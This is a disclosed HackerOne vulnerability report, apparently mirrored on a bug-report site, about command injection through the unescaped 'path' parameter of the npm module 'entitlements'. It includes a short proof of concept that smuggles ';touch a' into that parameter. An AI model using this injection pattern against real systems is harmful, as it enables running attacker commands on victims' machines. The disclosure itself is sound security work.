Skip to content
RCE Disclosed report Beginner

[entitlements] Command injection on the 'path' parameter

caioluders Follow

Originally disclosed on HackerOne

High 7.5 View original
  • Triaged in 14 hours
  • Fixed in 3 months
  • Disclosed after 3 months

Hello again, another command injection, this time on the entitlements module.

Module

module name: entitlements version: 1.2.0 npm page: https://www.npmjs.com/package/entitlements

Module Description

check the entitlements of a .app bundle

Module Stats

26 downloads in the last day 328 downloads in the last week 896 downloads in the last month 14783 downloads in the last year

Vulnerability

Vulnerability Description

The module appends the path parameter to a command on the line 7 without escaping it, leading to a command injection.

Steps To Reproduce:

  • Install the module
$ npm install entitlements
  • Example code with the malicious payload ";touch a" on line 3.
JavaScript
var entitlements = require('entitlements');

entitlements(';touch a', function(error, data){
  console.log(data);
});
  • Run it.
$ node index.js
  • Check the newly create file a
$ ls
a       index.js

Patch

It is advisable to use a module that explicitly isolates the parameters to the codesign command.

Supporting Material/References:

  • macOS Sierra 10.12.16
  • NODEJS v8.4.0
  • NPM 5.3.0

Wrap up

( contacted the maintainer || opened issue ) = False

Impact

An attacker that controls the path parameter can inject commands on the victim's machine.

The original report as published on HackerOne, by caioluders. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity RCE bug in entitlements, rated CVSS 7.5. HackerOne made it public on 18 July 2018.

About RCE

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by caioluders

View all

4 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.